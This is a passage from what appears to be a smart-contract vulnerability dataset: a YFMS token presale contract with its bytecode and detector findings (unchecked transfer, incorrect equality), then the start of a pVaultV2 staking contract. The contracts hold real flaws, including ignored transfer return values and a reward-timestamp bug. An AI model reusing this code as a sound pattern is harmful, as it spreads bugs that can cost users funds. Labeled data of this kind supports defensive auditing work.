function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface ERC20 {
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint value) external returns (bool success);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function approve(address spender, uint value) external returns (bool success);
}
contract YFMSTokenSale {
using SafeMath for uint256;
uint256 public totalSold;
ERC20 public YFMSToken;
address payable public owner;
uint256 public collectedETH;
uint256 public startDate;
bool public softCapMet;
bool private presaleClosed = false;
uint256 private ethWithdrawals = 0;
uint256 private lastWithdrawal;
// tracks all contributors.
mapping(address => uint256) internal _contributions;
// adjusts for different conversion rates.
mapping(address => uint256) internal _averagePurchaseRate;
// total contributions from wallet.
mapping(address => uint256) internal _numberOfContributions;
constructor(address _wallet) public {
owner = msg.sender;
YFMSToken = ERC20(_wallet);
}
uint256 amount;
uint256 rateDay1 = 6;
uint256 rateDay2 = 11;
uint256 rateDay3 = 5;
uint256 rateDay4 = 9;
uint256 rateDay5 = 4;
// Converts ETH to YFMS and sends new YFMS to the sender
receive () external payable {
require(startDate > 0 && now.sub(startDate) <= 7 days);
require(YFMSToken.balanceOf(address(this)) > 0);
require(msg.value >= 0.1 ether && msg.value <= 50 ether);
require(!presaleClosed);
if (now.sub(startDate) <= 1 days) {
amount = msg.value.mul(6);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10));
} else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {
amount = msg.value.mul(11).div(2);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10).div(2));
} else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {
amount = msg.value.mul(5);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10));
} else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) {
amount = msg.value.mul(9).div(2);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10).div(2));
} else if(now.sub(startDate) > 4 days) {
amount = msg.value.mul(4);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10));
}
require(amount <= YFMSToken.balanceOf(address(this)));
// update constants.
totalSold = totalSold.add(amount);
collectedETH = collectedETH.add(msg.value);
// update address contribution + total contributions.
_contributions[msg.sender] = _contributions[msg.sender].add(amount);
_numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1);
// transfer the tokens.
YFMSToken.transfer(msg.sender, amount);
// check if soft cap is met.
if (!softCapMet && collectedETH >= 150 ether) {
softCapMet = true;
}
}
// Converts ETH to YFMS and sends new YFMS to the sender
function contribute() external payable {
require(startDate > 0 && now.sub(startDate) <= 7 days);
require(YFMSToken.balanceOf(address(this)) > 0);
require(msg.value >= 0.1 ether && msg.value <= 50 ether);
require(!presaleClosed);
if (now.sub(startDate) <= 1 days) {
amount = msg.value.mul(6);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay1.mul(10));
} else if(now.sub(startDate) > 1 days && now.sub(startDate) <= 2 days) {
amount = msg.value.mul(11).div(2);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay2.mul(10).div(2));
} else if(now.sub(startDate) > 2 days && now.sub(startDate) <= 3 days) {
amount = msg.value.mul(5);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay3.mul(10));
} else if(now.sub(startDate) > 3 days && now.sub(startDate) <= 4 days) {
amount = msg.value.mul(9).div(2);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay4.mul(10).div(2));
} else if(now.sub(startDate) > 4 days) {
amount = msg.value.mul(4);
_averagePurchaseRate[msg.sender] = _averagePurchaseRate[msg.sender].add(rateDay5.mul(10));
}
require(amount <= YFMSToken.balanceOf(address(this)));
// update constants.
totalSold = totalSold.add(amount);
collectedETH = collectedETH.add(msg.value);
// update address contribution + total contributions.
_contributions[msg.sender] = _contributions[msg.sender].add(amount);
_numberOfContributions[msg.sender] = _numberOfContributions[msg.sender].add(1);
// transfer the tokens.
YFMSToken.transfer(msg.sender, amount);
// check if soft cap is met.
if (!softCapMet && collectedETH >= 150 ether) {
softCapMet = true;
}
}
function numberOfContributions(address from) public view returns(uint256) {
return _numberOfContributions[address(from)];
}
function contributions(address from) public view returns(uint256) {
return _contributions[address(from)];
}
function averagePurchaseRate(address from) public view returns(uint256) {
return _averagePurchaseRate[address(from)];
}
// if the soft cap isn't met and the presale period ends (7 days) enable
// users to buy back their ether.
function buyBackETH(address payable from) public {
require(now.sub(startDate) > 7 days && !softCapMet);
require(_contributions[from] > 0);
uint256 exchangeRate = _averagePurchaseRate[from].div(10).div(_numberOfContributions[from]);
uint256 contribution = _contributions[from];
// remove funds from users contributions.
_contributions[from] = 0;
// transfer funds back to user.
from.transfer(contribution.div(exchangeRate));
}
// Function to withdraw raised ETH (staggered withdrawals)
// Only the contract owner can call this function
function withdrawETH() public {
require(msg.sender == owner && address(this).balance > 0);
require(softCapMet == true && presaleClosed == true);
uint256 withdrawAmount;
// first ether withdrawal (max 500 ETH)
if (ethWithdrawals == 0) {
if (collectedETH <= 500 ether) {
withdrawAmount = collectedETH;
} else {
withdrawAmount = 500 ether;
}
} else {
// remaining ether withdrawal (max 500 ETH per withdrawal)
// staggered in 7 day periods.
uint256 currDate = now;
// ensure that it has been at least 7 days.
require(currDate.sub(lastWithdrawal) >= 7 days);
if (collectedETH <= 500 ether) {
withdrawAmount = collectedETH;
} else {
withdrawAmount = 500 ether;
}
}
lastWithdrawal = now;
ethWithdrawals = ethWithdrawals.add(1);
collectedETH = collectedETH.sub(withdrawAmount);
owner.transfer(withdrawAmount);
}
function endPresale() public {
require(msg.sender == owner);
presaleClosed = true;
}
// Function to burn remaining YFMS (sale must be over to call)
// Only the contract owner can call this function
function burnYFMS() public {
require(msg.sender == owner && YFMSToken.balanceOf(address(this)) > 0 && now.sub(startDate) > 7 days);
// burn the left over.
YFMSToken.transfer(address(0), YFMSToken.balanceOf(address(this)));
}
//Starts the sale
//Only the contract owner can call this function
function startSale() public {
require(msg.sender == owner && startDate==0);
startDate=now;
}
//Function to query the supply of YFMS in the contract
function availableYFMS() public view returns(uint256) {
return YFMSToken.balanceOf(address(this));
}
}
|
0x6080604052600436106100f75760003560e01c8063b6ce75311161008a578063df69292911610059578063df69292914610dc9578063dfccdef514610e2e578063e086e5ec14610e59578063ef2d75fe14610e7057610b13565b8063b6ce753114610d14578063be3853c914610d3f578063d7bb99ba14610d90578063dd1da86214610d9a57610b13565b80638da5cb5b116100c65780638da5cb5b14610c645780639106d7ba14610cbb578063a43be57b14610ce6578063b66a0e5d14610cfd57610b13565b8063021e63c114610b185780630b97bc8614610b6f57806342e94c9014610b9a5780638cf59dc814610bff57610b13565b36610b13576000600454118015610125575062093a8061012260045442610e8790919063ffffffff16565b11155b61012e57600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156101cf57600080fd5b505afa1580156101e3573d6000803e3d6000fd5b505050506040513d60208110156101f957600080fd5b81019080805190602001909291905050501161021457600080fd5b67016345785d8a0000341015801561023557506802b5e3af16b18800003411155b61023e57600080fd5b600560019054906101000a900460ff161561025857600080fd5b6201518061027160045442610e8790919063ffffffff16565b1161033f5761028a600634610ea790919063ffffffff16565b600b819055506102f76102a9600a600c54610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610794565b6201518061035860045442610e8790919063ffffffff16565b11801561037c57506202a30061037960045442610e8790919063ffffffff16565b11155b15610470576103a8600261039a600b34610ea790919063ffffffff16565b610f0090919063ffffffff16565b600b819055506104286103da60026103cc600a600d54610ea790919063ffffffff16565b610f0090919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610793565b6202a30061048960045442610e8790919063ffffffff16565b1180156104ad57506203f4806104aa60045442610e8790919063ffffffff16565b11155b1561057b576104c6600534610ea790919063ffffffff16565b600b819055506105336104e5600a600e54610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610792565b6203f48061059460045442610e8790919063ffffffff16565b1180156105b85750620546006105b560045442610e8790919063ffffffff16565b11155b156106ac576105e460026105d6600934610ea790919063ffffffff16565b610f0090919063ffffffff16565b600b819055506106646106166002610608600a600f54610ea790919063ffffffff16565b610f0090919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610791565b620546006106c560045442610e8790919063ffffffff16565b1115610790576106df600434610ea790919063ffffffff16565b600b8190555061074c6106fe600a601054610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561083357600080fd5b505afa158015610847573d6000803e3d6000fd5b505050506040513d602081101561085d57600080fd5b8101908080519060200190929190505050600b54111561087c57600080fd5b610893600b54600054610ee190919063ffffffff16565b6000819055506108ae34600354610ee190919063ffffffff16565b600381905550610908600b54600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099e6001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600b546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a8c57600080fd5b505af1158015610aa0573d6000803e3d6000fd5b505050506040513d6020811015610ab657600080fd5b810190808051906020019092919050505050600560009054906101000a900460ff16158015610af05750680821ab0d441498000060035410155b15610b11576001600560006101000a81548160ff0219169083151502179055505b005b600080fd5b348015610b2457600080fd5b50610b2d610f26565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b7b57600080fd5b50610b84610f4c565b6040518082815260200191505060405180910390f35b348015610ba657600080fd5b50610be960048036036020811015610bbd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f52565b6040518082815260200191505060405180910390f35b348015610c0b57600080fd5b50610c4e60048036036020811015610c2257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9b565b6040518082815260200191505060405180910390f35b348015610c7057600080fd5b50610c79610fe4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610cc757600080fd5b50610cd061100a565b6040518082815260200191505060405180910390f35b348015610cf257600080fd5b50610cfb611010565b005b348015610d0957600080fd5b50610d12611087565b005b348015610d2057600080fd5b50610d296110f8565b6040518082815260200191505060405180910390f35b348015610d4b57600080fd5b50610d8e60048036036020811015610d6257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111d9565b005b610d986113f0565b005b348015610da657600080fd5b50610daf611e07565b604051808215151515815260200191505060405180910390f35b348015610dd557600080fd5b50610e1860048036036020811015610dec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e1a565b6040518082815260200191505060405180910390f35b348015610e3a57600080fd5b50610e43611e63565b6040518082815260200191505060405180910390f35b348015610e6557600080fd5b50610e6e611e69565b005b348015610e7c57600080fd5b50610e85612046565b005b600082821115610e9657600080fd5b600082840390508091505092915050565b600080831415610eba5760009050610edb565b6000828402905082848281610ecb57fe5b0414610ed657600080fd5b809150505b92915050565b600080828401905083811015610ef657600080fd5b8091505092915050565b6000808211610f0e57600080fd5b6000828481610f1957fe5b0490508091505092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106a57600080fd5b6001600560016101000a81548160ff021916908315150217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156110e657506000600454145b6110ef57600080fd5b42600481905550565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119957600080fd5b505afa1580156111ad573d6000803e3d6000fd5b505050506040513d60208110156111c357600080fd5b8101908080519060200190929190505050905090565b62093a806111f260045442610e8790919063ffffffff16565b11801561120c5750600560009054906101000a900460ff16155b61121557600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161126157600080fd5b6000611307600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f9600a600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f0090919063ffffffff16565b610f0090919063ffffffff16565b90506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166108fc6113bf8484610f0090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156113ea573d6000803e3d6000fd5b50505050565b6000600454118015611419575062093a8061141660045442610e8790919063ffffffff16565b11155b61142257600080fd5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156114c357600080fd5b505afa1580156114d7573d6000803e3d6000fd5b505050506040513d60208110156114ed57600080fd5b81019080805190602001909291905050501161150857600080fd5b67016345785d8a0000341015801561152957506802b5e3af16b18800003411155b61153257600080fd5b600560019054906101000a900460ff161561154c57600080fd5b6201518061156560045442610e8790919063ffffffff16565b116116335761157e600634610ea790919063ffffffff16565b600b819055506115eb61159d600a600c54610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a88565b6201518061164c60045442610e8790919063ffffffff16565b11801561167057506202a30061166d60045442610e8790919063ffffffff16565b11155b156117645761169c600261168e600b34610ea790919063ffffffff16565b610f0090919063ffffffff16565b600b8190555061171c6116ce60026116c0600a600d54610ea790919063ffffffff16565b610f0090919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a87565b6202a30061177d60045442610e8790919063ffffffff16565b1180156117a157506203f48061179e60045442610e8790919063ffffffff16565b11155b1561186f576117ba600534610ea790919063ffffffff16565b600b819055506118276117d9600a600e54610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a86565b6203f48061188860045442610e8790919063ffffffff16565b1180156118ac5750620546006118a960045442610e8790919063ffffffff16565b11155b156119a0576118d860026118ca600934610ea790919063ffffffff16565b610f0090919063ffffffff16565b600b8190555061195861190a60026118fc600a600f54610ea790919063ffffffff16565b610f0090919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a85565b620546006119b960045442610e8790919063ffffffff16565b1115611a84576119d3600434610ea790919063ffffffff16565b600b81905550611a406119f2600a601054610ea790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b2757600080fd5b505afa158015611b3b573d6000803e3d6000fd5b505050506040513d6020811015611b5157600080fd5b8101908080519060200190929190505050600b541115611b7057600080fd5b611b87600b54600054610ee190919063ffffffff16565b600081905550611ba234600354610ee190919063ffffffff16565b600381905550611bfc600b54600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c926001600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ee190919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600b546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d8057600080fd5b505af1158015611d94573d6000803e3d6000fd5b505050506040513d6020811015611daa57600080fd5b810190808051906020019092919050505050600560009054906101000a900460ff16158015611de45750680821ab0d441498000060035410155b15611e05576001600560006101000a81548160ff0219169083151502179055505b565b600560009054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60035481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611ec65750600047115b611ecf57600080fd5b60011515600560009054906101000a900460ff161515148015611f05575060011515600560019054906101000a900460ff161515145b611f0e57600080fd5b6000806006541415611f4857681b1ae4d6e2ef50000060035411611f36576003549050611f43565b681b1ae4d6e2ef50000090505b611f9c565b600042905062093a80611f6660075483610e8790919063ffffffff16565b1015611f7157600080fd5b681b1ae4d6e2ef50000060035411611f8d576003549150611f9a565b681b1ae4d6e2ef50000091505b505b42600781905550611fb96001600654610ee190919063ffffffff16565b600681905550611fd481600354610e8790919063ffffffff16565b600381905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612042573d6000803e3d6000fd5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561217c57506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561213f57600080fd5b505afa158015612153573d6000803e3d6000fd5b505050506040513d602081101561216957600080fd5b8101908080519060200190929190505050115b801561219e575062093a8061219c60045442610e8790919063ffffffff16565b115b6121a757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561228657600080fd5b505afa15801561229a573d6000803e3d6000fd5b505050506040513d60208110156122b057600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561232a57600080fd5b505af115801561233e573d6000803e3d6000fd5b505050506040513d602081101561235457600080fd5b81019080805190602001909291905050505056fea2646970667358221220092bd598d4cb4ce9ba6fc188802ae757d9e925fdf2506e66e363f522fafb82ac64736f6c63430006000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 3,724 |
0xcaa8942d04722c6d726df8c87aadf90b861ab963
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pVaultV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
